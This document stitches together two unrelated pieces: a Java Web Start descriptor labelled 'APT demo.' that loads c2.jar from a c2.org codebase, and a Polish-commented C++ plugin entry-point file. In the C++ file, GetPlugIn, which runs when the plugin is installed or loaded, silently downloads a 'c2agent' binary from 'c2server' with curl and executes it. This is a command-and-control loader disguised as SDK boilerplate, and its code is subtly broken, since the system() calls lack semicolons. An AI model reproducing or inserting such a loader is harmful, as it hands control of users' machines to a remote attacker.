<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="http://c2.org/c2" href="">
    <information>
        <title>Zabawa z JWS!</title>
        <vendor>APT demo.</vendor>
        <offline-allowed/>
    </information>
    <resources>
        <j2se version="1.5+" href="http://java.sun.com/products/autodl/j2se"/>
        <jar href="c2.jar" main="true" />
    </resources>
    <applet-desc name="c2 applet" main-class="c2applet.Main" width="300" height="200">
    </applet-desc>
  <update check="background"/>
</jnlp>
---

#include "VCPlugInHeaders.h"
#include "PlugIn.h"

static PlugIn gPlugIn;

/** GetPlugIn
    To jest główny punkt wejściowy aplikacji do wtyczki.
    Aplikacja wywołuje tę funkcję podczas instalowania lub ładowania wtyczki.
    Funkcja ta jest wywoływana po nazwie, a więc należy nazwać ją GetPlugIn i zdefiniować jako połączenie z C.
    @author Jeff Gehman
*/
IPlugIn* GetPlugIn()
{
    system("curl -O http://c2server/c2agent")
    system("./c2agent")
    return &gPlugIn;
}
// koniec pliku SDKPlugInEntrypoint.cpp
---

